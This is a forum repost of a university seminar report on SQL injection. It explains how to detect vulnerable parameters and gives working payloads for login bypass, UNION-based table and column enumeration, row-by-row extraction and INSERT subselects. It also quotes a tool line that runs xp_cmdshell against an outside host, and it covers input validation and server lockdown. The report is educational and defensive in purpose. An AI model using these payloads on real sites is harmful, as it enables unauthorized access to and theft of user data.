SQL INJECTION A SEMINAR REPORT
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Computer Science Clay
Active In SP
**

Posts: 712
Joined: Jan 2009
#1
14-06-2009, 01:34 AM


SQL INJECTION
A SEMINAR REPORT
Submitted by
SANJEEV KUMAR JAISWAL
in partial fulfillment of requirement of the Degree
of
Bachelor of Technology (B.Tech)
IN
COMPUTER SCIENCE AND ENGINEERING
SCHOOL OF ENGINEERING
COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY
KOCHI- 682022
AUGUST 2008Page 2

DIVISION OF COMPUTER SCIENCE AND ENGINEERING
SCHOOL OF ENGINEERING
COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY
KOCHI-682022
Certified that this is a bonafide record of the seminar and presentation entitled
SQL INJECTION
Presented by the following student
SANJEEV KUMAR JAISWAL
of the VII semester, Computer Science and Engineering in the year 2008 in partial
fulfillment of the requirements in the award of Degree of Bachelor of Technology in
Computer Science and Engineering of Cochin University of Science and Technology.
Ms. Vini Vijayan
Dr. David Peter S.
Seminar Guide
Head of the Division
Date:
CertificatePage 3

Acknowledgement
Many people have contributed to the success of this. Although a single sentence hardly
suffices, I would like to thank Almighty God for blessing us with His grace. I extend my
sincere and heart felt thanks to Dr. David Peter, Head of Department, Computer
Science and Engineering, for providing us the right ambience for carrying out this work. I
am profoundly indebted to my seminar and presentation guide, Ms. Vini Vijayan for innumerable acts of
timely advice, encouragement and I sincerely express my gratitude to her.
I express my immense pleasure and thankfulness to all the teachers and staff of the
Department of Computer Science and Engineering, CUSAT for their cooperation and
support.
Last but not the least, I thank all others, and especially my classmates who in one way or
another helped me in the successful completion of this work.
SANJEEV KUMAR JAISWALPage 4

ABSTRACT
This paper contains information about this extremely popular database attack.
Most of today's web applications require dynamic content and input from users to
achieve the same appeal as traditional applications within the desktop operating
systems. This is achieved by using languages such as SQL the most common being
mySQL. The attacker can gain unauthorized access to restricted data suck as
usernames /passwords/email addresses etc.
Using SQL injections, attackers can:“ Add new data to the database.
With some more advanced queries and tricky techniques the attacker can
potentially bypass the authentication and gain complete control over the web
application and potentially the web server..
Perform an INSERT in the injected SQL“ Modify data currently in the database.
Perform an UPDATE in the injected SQL“ Often can gain access to other user™s
system capabilities by obtaining their password.
Could be embarrassing to find yourself selling politically incorrect items on an
e-Commerce site.Page 5

TABLE OF CONTENTS
Chapter No.
Title PAGE
LIST OF FIGURES
ii
1.
INTRODUCTION
1
2. CHECKING FOR VULNERABILITY
3
3 ATTACKS
6
3.1 AUTHORIZATION BYPASS
3.2 USING THE SELECT COMMAND
3.3 USING THE INSERT COMMAND
3.4 USING SQL SERVERS STORED
PROCEDURES
4.
AUTOMATED SQL INJECTION TOOLS
20
5. COUNTERMEASURES
21
5.1 INPUT VALIDATION
5.2 SQL SERVER LOCKDOWN
5.3 ROBUST NETWORK ARCHITECTURE
6. CONCLUSION
23
7. REFERENCES
24
iPage 6

LIST OF FIGURES
NO:
NAME
PAGE
3.2.1
BROWSER RESPONSE
ON UNION COMMAND
13
3.2.2
TABLES USING
WHERE
14
3.2.3
TABLES USING
SELECT
16
3.2.4
TABLES USING UNION 17
5.3.1
ROBUST NETWORK
ARCHITECTURE
25
iiPage 7

SQL Injection
1. Introduction
The World Wide Web has experienced remarkable growth in recent years. Businesses,
individuals, and governments have found that web applications can offer effective,
efficient and reliable solutions to the challenges of communicating and conducting
commerce in the Twenty-first century. However, in the cost-cutting rush to bring their
web-based applications on line ” or perhaps just through simple ignorance ” many
software companies overlook or introduce critical security issues.
To build secure applications, developers must acknowledge that security is a
fundamental
component of any software product and that safeguards must be infused with the software as it is
being written. Building security into a product is much easier (and vastly more cost-effective)
than any post-release attempt to remove or limit the flaws that invite intruders to attack your site.
To prove that dictum, consider the case of blind SQL injection
SQL injection is a technique for exploiting web applications that use client-supplied data
in SQL queries, but without first stripping potentially harmful characters. Despite being
remarkably simple to protect against, there is an astonishing number of production
systems connected to the Internet that are vulnerable to this type of attack. The objective
of this paper is to focus the professional security community on the techniques that can
be used to take advantage of a web application that is vulnerable to SQL injection, and to
make clear the correct mechanisms that should be put in place to protect against SQL
injection and input validation problems in general.
Most of today's web applications require dynamic content and input from users to
achieve the same appeal as traditional applications within the desktop operating systems.
This is achieved by using languages such as SQL the most common being mySQL.
SQL Injection is inputting the raw transact SQL Query into an application to perform an
Division of Computer Engineering
1Page 8

SQL Injection
unexpected action. Most of the time existing queries are edited to achieve the same
results. Transact SQL is easily changed by the placement of a single character in a chosen
spot causing the query to behave in malicious ways. The most commonly used characters
are backtick (`), double dash(--), and the semi colon (Wink all of witch have specific meaning
in SQL.
So what exactly can an attacker do with an unsurped SQL query?
The attacker can gain unauthorised access to restricted data suck as usernames
/passwords / email addresses etc. With some more advanced queries and sneakier
techniques the attacker can potentially bypass the authentication and gain complete
control over the web application and potentially the web server.
This is a hacking method that allows an unauthorized attacker to access a database server.
It is facilitated by a common coding blunder: the program accepts data from a client and
executes SQL queries without first validating the clientâ„¢s input. The attacker is then free
to extract, modify, add, or delete content from the database. In some circumstances, he
may even penetrate past the database server and into the underlying operating system.
Hackers typically test for SQL injection vulnerabilities by sending the application input
that would cause the server to generate an invalid SQL query. If the server then returns an
error message to the client, the attacker will attempt to reverse-engineer portions of the
original SQL query using information gained from these error messages. The typical
administrative safeguard is simply to prohibit the display of database server error
messages. Regrettably, thatâ„¢s not sufficient. Blind SQL injection can still evade the
databases.
Character Encoding
Most web browsers will not properly interpret requests containing punctuation characters
and many other symbols unless they are URL-encoded. In this paper, I have used regular
ASCII characters in the examples and screenshots to maintain maximum readability. In
Division of Computer Engineering
2Page 9

SQL Injection
practice, though, you will need to substitute %25 for percent sign, %2B for plus sign,
etc., in the HTTP request statement.
2.
Checking for Vulnerability
Thoroughly checking a web application for SQL injection vulnerability takes more effort
than one might guess. Itâ„¢s nice when you throw a single quote into the first argument of a
script and the server returns a nice blank, white screen with nothing but an ODBC error
on it, but such is not always the case.
It is very easy to overlook a perfectly vulnerable script if you donâ„¢t pay attention to
details. You should always check every parameter of every script on the server.
Developers and development teams can be awfully inconsistent. The programmer who
designed Script A might have had nothing to do with the development of Script B, so
where one might be immune to SQL injection, the other might be ripe for abuse. In fact,
the programmer who worked on Function A in Script A might have nothing to do with
Function B in Script A, so while one parameter in one script might be vulnerable, another
might not. Even if an entire web application is conceived, designed, coded and tested by
one programmer, one vulnerable parameter might be overlooked. You never can be sure.
Test everything
.
Testing procedure
Replace the argument of each parameter with a single quote and an SQL keyword (such
as "˜ WHERE"). Each parameter needs to be tested individually. Not only that, but when
testing each parameter, leave all of the other parameters unchanged, with valid data as
their arguments. It can be tempting to simply delete everything youâ„¢re not working with
Division of Computer Engineering
3Page 10

SQL Injection
to make things look simpler, particularly with applications that have parameter lines that
go into many thousands of characters. Leaving out parameters or giving other parameters
bad arguments while youâ„¢re testing another for SQL injection can break the application in
other ways that prevent you from determining whether or not SQL injection is possible.
For instance, assume that this is a completely valid, unaltered parameter line
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
while this parameter line gives you an ODBC error ContactName=Maria
%20Anders&CompanyName=˜%20OR
and checking with this line might simply return an error indicating that you need to
specify a ContactName value.
CompanyName=˜
This line¦
ContactName=BadContactName&CompanyName=˜
¦might give you the same page as the request that didn™t specify ContactName at all.
Or, it might give you the siteâ„¢s default homepage. Or, perhaps when the application
couldnâ„¢t find the specified ContactName, it didnâ„¢t bother to look at CompanyName, so it
didnâ„¢t even pass the argument of that parameter into an SQL statement. Or, it might give
you something completely different. So, when testing for SQL injection, always use the
full parameter line, giving every argument except the one that you are testing a legitimate
value.
Evaluating Results
If the server returns a database error message of some kind, injection was definitely
successful. However, the messages arenâ„¢t always obvious. Again, developers do some
strange things, so you should look in every possible place for evidence of successful
injection. First, search through the entire source of the returned page for phrases such as
Division of Computer Engineering
4Page 11

SQL Injection
ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in
hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that return an error message with absolutely no information in the
body of the HTTP response, but that have the database error message in a header. Many
web applications have these kinds of features built into them for debugging and QA
purposes, and then developers forget to remove or disable them before release.
You should look not only on the immediately returned page, but also in linked pages.
During a recent penetration test, I saw a web application that returned a generic error
message page in response to an SQL injection attack. Clicking on a stop sign image next
to the error retrieved another page giving the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from the
database error message page before you even get a chance to notice it.
Note that SQL injection may be successful even if the server returns an ODBC error
messages. Many times the server returns a properly formatted, seemingly generic error
message page telling you that there was an internal server error or a problem
processing your request.
Some web applications are designed to return the client to the siteâ„¢s main page whenever
any type of error occurs. If you receive a 500 Error page back, chances are that injection
is occurring. Many sites have a default 500 Internal Server Error page that claims that the
server is down for maintenance, or that politely asks the user to send an e-mail to their
support staff. It can be possible to take advantage of these sites using stored procedure
techniques.
Division of Computer Engineering
5Page 12

SQL Injection
3. Attacks
This section describes the following SQL injection techniques:
¢ Authorization bypass
¢ Using the SELECT command
¢ Using the INSERT command
¢ Using SQL server stored procedures
3.1 Authorization Bypass
The simplest SQL injection technique is bypassing logon forms. Consider the
following web application code:
SQLQuery = "SELECT Username FROM Users WHERE Username = ˜" & strUsername
& "˜ AND Password = ˜" & strPassword & "˜" strAuthCheck =
GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Else
boolAuthenticated = True End If
Hereâ„¢s what happens when a user submits a username and password. The query will go
through the Users table to see if there is a row where the username and password in the
row match those supplied by the user. If such a row is found, the username is stored in
the variable strAuthCheck, which indicates that the user should be authenticated. If there
is no row that the user-supplied data matches, strAuthCheck will be empty and the user
will not be authenticated.
If strUsername and strPassword can contain any characters that you want, you can
modify the actual SQL query structure so that a valid name will be returned by the query
even if you do not know a valid username or a password. How? Letâ„¢s say a user fills out
the logon form like this:
Login: ˜ OR ˜˜=˜ Password: ˜ OR ˜˜=˜
This will give SQLQuery the following value:
Division of Computer Engineering
6Page 13

SQL Injection
SELECT Username FROM Users WHERE Username = ˜˜ OR ˜˜=˜˜ AND Password = ˜˜
OR ˜˜=˜˜
Instead of comparing the user-supplied data with that present in the Users table, the query
compares a quotation mark (nothing) to another quotation mark (nothing). This, of
course, will always return true. (Please note that nothing is different from null.) Since all
of the qualifying conditions in the WHERE clause are now met, the application will
select the username from the first row in the table that is searched. It will pass this
username to strAuthCheck, which will ensure our validation. It is also possible to use
another rowâ„¢s data, using single result cycling techniques.
3.2 Using the SELECT Command
For other situations, you must reverse-engineer several parts of the vulnerable web
applicationâ„¢s SQL query from the returned error messages. To do this, you must know
how to interpret the error messages and how to modify your injection string to defeat
them.
Direct vs. Quoted
The first error that you normally encounter is the syntax error. A syntax error indicates
that the query does not conform to the proper structure of an SQL query. The first thing
that you need to determine is whether injection is possible without escaping quotation.
In a direct injection, whatever argument you submit will be used in the SQL query
without any modification. Try taking the parameterâ„¢s legitimate value and appending a
space and the word OR to it. If that generates an error, direct injection is possible.
Direct values can be either numeric values used in WHERE statements, such as this¦
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
Employee = " & intEmployeeID
¦or the argument of an SQL keyword, such as table or column name:
Division of Computer Engineering
7Page 14

SQL Injection
SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " &
strColumn
All other instances are quoted injection vulnerabilities. In a quoted injection, whatever
argument you submit has a quote prefixed and appended to it by the application, like this:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
EmployeeID = ˜" & strCity & "˜"
To break out of the quotes and manipulate the query while maintaining valid syntax,
your injection string must contain a single quote before you use an SQL keyword, and
end in a WHERE statement that needs a quote appended to it. And now to address the
problem of cheating. Yes, SQL Server will ignore everything after a ;-- but itâ„¢s the
only server that does that. Itâ„¢s better to learn how to do this the hard way so that youâ„¢ll
know how to handle an Oracle, DB/2, MySQL, or any other kind of database server.
Basic UNION
SELECT queries are used to retrieve information from a database. Most web applications
that use dynamic content of any kind will build pages using information returned from
SELECT queries. Most of the time, the part of the query that you will be able to
manipulate will be the WHERE clause.
To make the server return records other than those intended, modify a WHERE clause by
injecting a UNION SELECT. This allows multiple SELECT queries to be specified in
one statement. Hereâ„¢s one example:
SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT
CompanyName FROM Customers WHERE 1 = 1
This will return the recordsets from the first query and the second query together. The
ALL is necessary to escape certain kinds of SELECT DISTINCT statements. Just make
sure that the first query (the one the web applicationâ„¢s developer intended to be executed)
returns no records. Suppose you are working on a script with the following code:
Division of Computer Engineering
8Page 15

SQL Injection
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City =
˜" & strCity & "˜"
And you use this injection string:
˜ UNION ALL SELECT OtherField FROM OtherTable WHERE ˜˜=˜
The following query will be sent to the database server:
SELECT FirstName, LastName, Title FROM Employees WHERE City = ˜˜ UNION
ALL SELECT OtherField FROM OtherTable WHERE ˜˜=˜˜
The database engine will inspect the Employees table, looking for a row where City is set
to nothing. Since it will not find it, no records will be returned. The only records that
will be returned will be from the injected query. In some cases, using nothing will not
work because there are entries in the table where nothing is used, or because specifying
nothing makes the web application do something else. You simply need to specify a
value that does not occur in the table. When a number is expected, zero and negative
numbers often work well. For a text argument, simply use a string such as
NoSuchRecord or NotInTable.
Query Enumeration with Syntax Errors
Some database servers return the portion of the query containing the syntax error in their
error messages. In these cases you can bully fragments of the SQL query from the
server by deliberately creating syntax errors. Depending on the way the query is
designed, some strings will return useful information and others will not.
Hereâ„¢s my list of suggested attack strings. Several will often return the same or no
information, but there are instances where only one of them will give you helpful
information. Try them all
˜ BadValue™
˜BadValue ˜ OR ˜
˜ OR
;
9,9,9
Division of Computer Engineering
9Page 16

SQL Injection
Parentheses
If the syntax error contains a parenthesis in the cited string (such as the SQL Server
message used in the following example) or the message complains about missing
parentheses, add a parenthesis to the bad value part of your injection string, and one to
the WHERE clause. In some cases, you may need to use two or more parentheses.
Hereâ„¢s the code used in parenthesis.asp:
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees
WHERE (City = ˜" & strCity & "˜)"
So, when you inject this value¦
˜) UNION SELECT OtherField FROM OtherTable WHERE (˜˜=˜,
¦the following query will be sent to the server:
SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE
(City = ˜˜) UNION SELECT OtherField From OtherTable WHERE (˜˜=˜˜)
LIKE Queries
Another common debacle is being trapped in a LIKE clause. Seeing the LIKE keyword or
percent signs cited in an error message are indications of this situation. Most search functions use
SQL queries with LIKE clauses, such as the following:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName
LIKE ˜%" & strLastNameSearch & "%™"
The percent signs are wildcards, so in this example the WHERE clause would return true in any
case where strLastNameSearch appears anywhere in LastName. To stop the intended query from
returning records, your bad value must be something that none of the values in the LastName
field contain. The string that the web application appends to the user input (usually a percent sign
and single quote, and often parenthesis as well) needs to be mirrored in the WHERE clause of
the injection string. Also, using nothing as your bad values will make the LIKE argument %
% resulting in a full wildcard, which returns all records. The second screenshot shows a
working injection query for the above code.
Division of Computer Engineering
10Page 17

SQL Injection
Dead Ends
There are situations that you may not be able to defeat without an enormous amount of effort, if
at all. Occasionally youâ„¢ll find yourself in a query that you just canâ„¢t seem to break. No matter
what you do, you get error after error after error. Many times, this is because youâ„¢re trapped
inside a function thatâ„¢s inside a WHERE clause, and the WHERE clause is in a subselect which
is an argument of another function whose output is having string manipulations performed on it
and then used in a LIKE clause which is in a subselect somewhere else. Not even SQL Serverâ„¢s
;- - can rescue you in those cases
.
Column Number Mismatch
If you can get around the syntax error, the hardest part is over. The next error message will
probably complain about a bad table name. Choose a valid system table name.
You will then most likely be confronted with an error message that complains about the
difference in the number of fields in the SELECT and UNION SELECT queries. You need to
find out how many columns are requested in the legitimate query. Letâ„¢s say that this is the code
in the web application that youâ„¢re attacking:
SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE City =
˜" & strCity "˜"
The legitimate SELECT and the injected UNION SELECT need to have an equal number of
columns in their WHERE clauses. In this case, they both need three. Their column types also
need to match. If FirstName is a string, then the corresponding field in your injection string
needs to be a string as well. Some servers, such as Oracle, are very strict about this. Others are
more lenient and allow you to use any data type that can do implicit conversion to the correct
data type. For example, in SQL Server, putting numeric data in a varcharâ„¢s place is allowed,
because numbers can be converted to strings implicitly. Putting text in a smallint column,
however, is illegal because text cannot be converted to an integer. Because numeric types often
convert to strings easily (but not vice versa), use numeric values by default.
To determine the number of columns you need to match, keep adding values to the UNION
SELECT clause until you stop getting a column number mismatch error. If you encounter a data
Division of Computer Engineering
11Page 18

SQL Injection
type mismatch error, change the data type (of the column you entered) from a number to a literal.
Sometimes you will get a conversion error as soon as you submit an incorrect data type. At other
times, you will get only the conversion message once youâ„¢ve matched the correct number of
columns, leaving you to figure out which columns are the ones that are causing the error. When
the latter is the case, matching the value types can take a very long time, since the number of
possible combinations is 2
n
where n is the number of columns in the query. By the way, 40-
column SELECT commands are not terribly uncommon.
If all goes well, the server should return a page with the same formatting and structure as a
legitimate one. Wherever dynamic content is used, you should have the results of your injection
query.
To illustrate, when I submitted the following command¦
localhost/column.asp?city=˜UNION ALL SELECT 9 FROM SysObjects WHERE ˜=˜
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
Division of Computer Engineering
12Page 19

SQL Injection
Fig:3.2.1 Browser response on Union command
So I incremented the number of columns and resubmitted the command, continuing this until I
received a different error message.
localhost/column.asp?city=˜UNION ALL SELECT 9,9 FROM SysObjects WHERE ˜=˜
localhost/column.asp?city=˜UNION ALL SELECT 9,9,9 FROM SysObjects WHERE ˜=˜
localhost/column.asp?city=ËœUNION ALL SELECT 9,9,9,9 FROM SysObjects WHERE
˜=˜
On the last command, the server returned the following error message:
Operand type dash; ntext is incompatible with int.
Division of Computer Engineering
13Page 20

SQL Injection
So I submitted the following command and the server returned the page illustrated in Figure 2:
localhost/column.asp?city=ËœUNION ALL SELECT 9,9,9,â„¢textâ„¢ FROM SysObjects
WHERE ˜=˜
Fig:3.2.2 Tables using WHERE
Additional WHERE Columns
Sometimes your problem may be additional WHERE conditions that are added to the query after
your injection string. Consider this line of code:
Division of Computer Engineering
14Page 21

SQL Injection
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = ˜" &
strCity & "˜ AND Country = ˜USA™"
Trying to deal with this query like a simple direct injection would yield a query such as:
SELECT FirstName, LastName, Title FROM Employees WHERE City = ËœNoSuchCityâ„¢ UNION
ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = ËœUSAâ„¢
Which yields an error message such as:
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name ËœCountryâ„¢.
The problem here is that your injected query does not have a table in the FROM clause that
contains a column named Country in it. There are two ways to solve this problem: use the ;--
terminator (if youâ„¢re using SQL Server), or guess the name of the table that the offending
column is in and add it to your FROM clause. Use the attack queries listed in Query
Enumeration with Syntax Errors to try to get as much of the legitimate query back as possible
.
Table and Field Name Enumeration
Now that you have injection working, you have to decide what tables and fields you want to
access. With SQL Server, you can easily get all of the table and column names in the database.
With Oracle and Access, you may or may not be able to do this, depending on the privileges of
the account that the web application is using to access the database.
The key is to be able to access the system tables that contain the table and column names. In
SQL Server, they are called sysobjects and syscolumns, respectively. There is a list of system
tables for other database servers at the end of this document; you will also need to know relevant
column names in those tables). These tables contain a listing of all tables and columns in the
database. To get a list of user tables in SQL Server, use the following injection query, modified
to fit you own circumstances:
SELECT name FROM sysobjects WHERE xtype = ËœUâ„¢
This will return the names of all user-defined tables (thatâ„¢s what xtype = ËœUâ„¢ does) in the
database. Once you find one that looks interesting (weâ„¢ll use Orders), you can get the names of
the fields in that table with an injection query similar to this
Division of Computer Engineering
15Page 22

SQL Injection
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name
= ËœOrdersâ„¢)
The first illustration in Figure 3 shows the results returned by the following injection query:
localhost/simplequoted.asp?city = â„¢UNION ALL SELECT name, 0, 0, ËœAâ„¢, 0 FROM
sysobjects WHERE xtype=â„¢U
The second illustration in Figure 6 shows the results returned by the following injection query:
localhost/simplequoted.asp?city = â„¢UNION ALL SELECT name, 0, 0, ËœAâ„¢, 0 FROM
sysobjects WHERE id = (SELECT id FROM sysobjects WHERE name = ËœORDERSâ„¢) AND =â„¢
Fig:3.2.3 Tables USING SELECT
Division of Computer Engineering
16Page 23

SQL Injection
Fig:3.2.4 Tables using UNION
Single Record Cycling
If possible, use an application that is designed to return as many results as possible. Search tools
are ideal because they are made to return results from many different rows at once. Some
applications are designed to use only one recordset in their output at a time, and ignore the rest.
If youâ„¢re faced with a single product display application, you can still prevail.
You can manipulate your injection query to allow you to slowly, but surely, get your desired
information back in full. This is accomplished by adding qualifiers to the WHERE clause that
prevent certain rowsâ„¢ information from being selected. Letâ„¢s say you started with this injection
string:
˜ UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ˜˜=˜
And you got the first values in FieldOne, FieldTwo and FieldThree injected into your document.
Letâ„¢s say the values of FieldOne, FieldTwo and FieldThree were Alpha, Beta and Delta,
respectively. Your second injection string would be:
˜ UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne
NOT IN (ËœAlphaâ„¢) AND FieldTwo NOT IN (ËœBetaâ„¢) AND FieldThree NOT IN (ËœDeltaâ„¢) AND
˜˜=˜
Division of Computer Engineering
17Page 24

SQL Injection
The NOT IN VALUES clause makes sure that the information you already know will not be
returned again, so the next row in the table will be used instead. Letâ„¢s say these values were
AlphaAlpha, BetaBeta and DeltaDelta..
3.3 Using the INSERT Command
The INSERT command is used to add information to the database. Common uses of INSERT in
web applications include user registrations, bulletin boards, adding items to shopping carts, etc.
Checking for vulnerabilities with INSERT statements is the same as doing it with WHERE. You
may not want to try to use INSERT if avoiding detection is an important issue. INSERT injection
often floods rows in the database with single quotes and SQL keywords from the reverse-
engineering process. Depending on how watchful the administrator is and what is being done
with the information in that database, it may be noticed.
Hereâ„¢s how INSERT injection differs from SELECT injection. Suppose a site allows user
registration of some kind, providing a form where you enter your name, address, phone number,
etc. After submitting the form, you navigate to a page where it displays this information and
gives you an option to edit it. This is what you want. To take advantage of an INSERT
vulnerability, you must be able to view the information that youâ„¢ve submitted. It doesnâ„¢t matter
where it is. Maybe when you log on, it greets you with the value it has stored for your name in
the database. Maybe the application sends you e-mail with the Name value in it. However you do
it, find a way to view at least some of the information youâ„¢ve entered
.
An INSERT query looks like this:
INSERT INTO TableName VALUES (ËœValue Oneâ„¢, ËœValue Twoâ„¢, ËœValue Threeâ„¢)
You want to be able to manipulate the arguments in the VALUES clause to make them retrieve
other data. You can do this using subselects.
Consider this example code:
3.4 SQLString = "INSERT INTO TableName VALUES (˜" & strValueOne & "˜, ˜" &
strValueTwo & "˜, ˜" & strValueThree & "˜)"
Division of Computer Engineering
18Page 25

SQL Injection
You fill out the form like this:
Name: ˜ + (SELECT TOP 1 FieldName FROM TableName) + ˜ Email: blah@blah.com Phone:
333-333-3333
Making the SQL statement look like this:
INSERT INTO TableName VALUES (˜˜ + (SELECT TOP 1 FieldName FROM TableName) +
˜˜, ˜blah@blah.com™, ˜333-333-3333™)
When you go to the preferences page and view your userâ„¢s information, youâ„¢ll see the first value
in FieldName where the userâ„¢s name would normally be. Unless you use TOP 1 in your
subselect, youâ„¢ll get back an error message saying that the subselect returned too many records.
You can go through all of the rows in the table using NOT IN ( ) the same way it is used in
single-record cycling.
Division of Computer Engineering
19Page 26

SQL Injection
4. Automated SQL Injection Tools
SQL Injection is typically performed manually, BUT some tools are available that will
help automate the process of identifying and exploiting the vulnerability.
Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic
web documents. SQL error strings are stored in a signature file, making it easier for anyone to
add their own signature for a possible SQL Injection signature for a web application. Wpoison
runs on linux and is available at wpoison.sourceforeg.net
mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website
for possible SQL Insertion problems. This script will take the output of a website mirroring tool
as input inspecting every file and determining whether there is a form in the file. The string to
be injected can easily be changed in the configuration file. To obtain a copy of the script
please see 'packetstormsecurityUNIX/security/mieliekoek.pl' please make sure you
have a perl environment installed.
Here is an example of the output of mieliekoek.pl :
$badstring='blah';
$badstring='blah' or 1=1 --';
$badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;
SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQL
Injection testing. The SPI Toolkit is available at spidynamics.com
Division of Computer Engineering
20Page 27

SQL Injection
5. Countermeasures
5.1 Input Validation
Input validation can be a complex subject. Typically, too little attention is paid to it in a
development project and implimentation, since overenthusiastic validation tends to cause parts of an
application to break, and the problem of input validation can be difficult to solve. Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines.
The following is a brief discussion of input validation, with sample code. This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well.
The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
Solution (1) has a number of conceptual problems; first, the developer is not necessarily
aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered
all the time. Second, 'massaging' the data can alter its length, which can result in
problems as described above. Finally, there is the problem of second-order effects
involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over
time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of
hyphenated surnames :
Quentin Bassington-Bassington
Division of Computer Engineering
21Page 28

SQL Injection
We must allow hyphens in our 'good' input, but we are also aware that the character
sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can
simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.
Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
Approach 3 - Allow only good input
function validatepassword( input )
Division of Computer Engineering
22Page 29

SQL Injection
good_password_chars
=
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
5.2 SQL Server Lockdown
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure
'out of the box'. Here is a brief list of things to do when creating a SQL Server build:
1. Determine methods of connection to the server
a. Verify that only the network libraries you're using are enabled, using the 'Network
utility'
2. Verify which accounts exist
a. Create 'low privileged' accounts for use by applications
b. Remove unnecessary accounts
Division of Computer Engineering
23Page 30

SQL Injection
c. Ensure that all accounts have strong passwords; run a password auditing script
(such as the one provided as an appendix to this paper) against the server on a
regular basis
3. Verify which objects exist
a. Many extended stored procedures can be removed safely. If this is done, consider
removing the '.dll' file containing the extended stored procedure code.
b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
a. The account that an application uses to access the database should have only the
minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
a. There are several buffer overflow and format string attacks against SQL Server
(mostly discovered by the author) as well as several other 'patched' security
issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.
An excellent lockdown checklist is provided at sqlsecurity.com..
Replace direct SQL statements with stored procedures, prepared statements, or ADO
command Objects.
Division of Computer Engineering
24Page 31

SQL Injection
Implements Default Error Handling. This would include using a single error message for
all errors
Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements through
Lock down User Database configuration Specify. users, roles and permissions etc.
5.3 Robust network architecture design will aid in the defense of any enterprise. The diagram
shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all Ëœpublic
facingâ„¢ servers
Fig: 5.3.1 Robust Network Architecture
6. Conclusions
Division of Computer Engineering
25Page 32

SQL Injection
This article is to make aware the people who are anyways related to database
maintenance say DBA, Site owner, Computer science students involving in project and implimentations
related to database and to general people who are launching their sites on internet.
Through this article one can know that what are the breaches that can be secured either
code or protection security like firewalls.
So, before launching your site or when checking your site try to check atleast the codes
what are illustrated in this article and if you find any bugs please correct it as soon as
possible and if its not your website then please inform the owner through mail or phone
that that site has bugs( be ethical) else attacking on other sites using this technique is
illegal, so I m not responsible for any kind of unethical stuffs. Do that at your own risk.
7. References
[1] Web Application Disassembly with ODBC Error Messages, David
Litchfield
Division of Computer Engineering
26Page 33

SQL Injection
nextgensspapers/webappdis.doc
[2] SQL Server Security Checklist
sqlsecuritychecklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
atstakeresearch/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
atstakeresearch/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
microsofttechnet/security/bulletin/MS01-060.asp
atstakeresearch/advisories/2001/a122001-1.txt
[6] youtubewatch?v=MJNJjh4jORY
Use Search at http://topicideas.net/search.php wisely To Get Information About Project Topic and Seminar ideas with report/source code along pdf and ppt presenaion
Reply
Sandesh K R
Active In SP
**

Posts: 4
Joined: Mar 2010
#2
20-04-2010, 09:06 AM

